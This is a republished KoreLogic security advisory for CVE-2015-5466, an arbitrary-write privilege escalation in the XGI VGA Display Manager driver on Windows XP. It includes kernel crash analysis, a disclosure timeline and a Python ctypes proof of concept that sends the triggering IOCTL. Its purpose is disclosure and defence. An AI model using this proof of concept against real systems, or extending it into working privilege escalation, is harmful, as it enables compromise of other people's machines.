KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation

Type securityvulns
Reporter Securityvulns
Modified 2015-10-25T00:00:00



KL-001-2015-004 : XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation

Title: XGI Windows VGA Display Manager Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-004 Publication Date: 2015.09.01 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-004.txt

  1. Vulnerability Details

    Affected Vendor: Silicon Integrated Systems Corporation Affected Product: XGI VGA Display Manager Affected Version: Platform: Microsoft Windows XP SP3 CWE Classification: CWE-123: Write-what-where condition Impact: Arbitrary Code Execution Attack vector: IOCTL CVE-ID: CVE-2015-5466

  2. Vulnerability Description

    A vulnerability within the xrvkp module allows an attacker to inject memory they control into an arbitrary location they define. This vulnerability can be used to overwrite function pointers in HalDispatchTable resulting in an elevation of privilege.

  3. Technical Description

    Windows XP Kernel Version 2600 (Service Pack 3) UP Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 2600.xpsp_sp3_qfe.101209-1646 Machine Name: Kernel base = 0x804d7000 PsLoadedModuleList = 0x805540c0

 *                        Bugcheck Analysis

 Use !analyze -v to get detailed debugging information.
 BugCheck 50, {ffff0000, 1, 804f3b76, 0}
 Probably caused by : xrvkp.sys ( xrvkp+6ec )
 Followup: MachineOwner

 kd> kn
 Call stack:  # ChildEBP RetAddr
 00 f63fd9a0 8051cc7f nt!KeBugCheckEx+0x1b
 01 f63fda00 805405d4 nt!MmAccessFault+0x8e7
 02 f63fda00 804f3b76 nt!KiTrap0E+0xcc
 03 f63fdad0 804fdaf1 nt!IopCompleteRequest+0x92
 04 f63fdb20 806d3c35 nt!KiDeliverApc+0xb3
 05 f63fdb20 806d3861 hal!HalpApcInterrupt+0xc5
 06 f63fdba8 804fab03 hal!KeReleaseInStackQueuedSpinLock+0x11
 07 f63fdbc8 804f07e4 nt!KeInsertQueueApc+0x4b
 08 f63fdbfc f7b136ec nt!IopfCompleteRequest+0x1d8
 09 f63fdc34 804ee129 xrvkp+0x6ec
 0a f63fdc44 80574e56 nt!IopfCallDriver+0x31
 0b f63fdc58 80575d11 nt!IopSynchronousServiceTail+0x70
 0c f63fdd00 8056e57c nt!IopXxxControlFile+0x5e7
 0d f63fdd34 8053d6d8 nt!NtDeviceIoControlFile+0x2a
 0e f63fdd34 7c90e514 nt!KiFastCallEntry+0xf8
 0f 0021f3e4 7c90d28a ntdll!KiFastSystemCallRet
 10 0021f3e8 1d1add7a ntdll!ZwDeviceIoControlFile+0xc
 11 0021f41c 1d1aca96 _ctypes!DllCanUnloadNow+0x5b4a
 12 0021f44c 1d1a8db8 _ctypes!DllCanUnloadNow+0x4866
 13 0021f4fc 1d1a959e _ctypes!DllCanUnloadNow+0xb88
 14 0021f668 1d1a54d8 _ctypes!DllCanUnloadNow+0x136e
 15 0021f6c0 1e07bd9c _ctypes+0x54d8
 16 00000000 00000000 python27!PyObject_Call+0x4c
  1. Mitigation and Remediation Recommendation

    No response from vendor; no remediation available.

  2. Credit

    This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc.

  3. Disclosure Timeline

    2015.05.14 - Initial contact; requested security contact. 2015.05.18 - Second contact attempt. 2015.05.25 - Third contact attempt. 2015.07.02 - KoreLogic requests CVE from Mitre. 2015.07.10 - Mitre issues CVE-2015-5466. 2015.07.28 - 45 business days have elapsed since KoreLogic last attempted to contact SiS without a response. 2015.09.01 - Public disclosure.

  4. Proof of Concept

    from sys import exit from ctypes import * NtAllocateVirtualMemory = windll.ntdll.NtAllocateVirtualMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory DeviceIoControl = windll.ntdll.NtDeviceIoControlFile CreateFileA = windll.kernel32.CreateFileA CloseHandle = windll.kernel32.CloseHandle FILE_SHARE_READ,FILE_SHARE_WRITE = 0,1 OPEN_EXISTING = 3 NULL = None

    device = "xgikp" code = 0x96002404 inlen = 0xe6b6 outlen = 0x0 inbuf = 0x1 outbuf = 0xffff0000 inBufMem = "\x90"*inlen

    def main(): try: handle = CreateFileA("\\\\.\\%s" % (device),FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[-] error creating handle" exit(1) except Exception as e: print "[-] error creating handle" exit(1)

NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) WriteProcessMemory(-1,0x1,inBufMem,inlen,byref(c_int(0)))

DeviceIoControl(handle,NULL,NULL,NULL,byref(c_ulong(8)),code,0x1,inlen,outbuf,outlen) CloseHandle(handle) return False

 if __name__=="__main__":

The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v2

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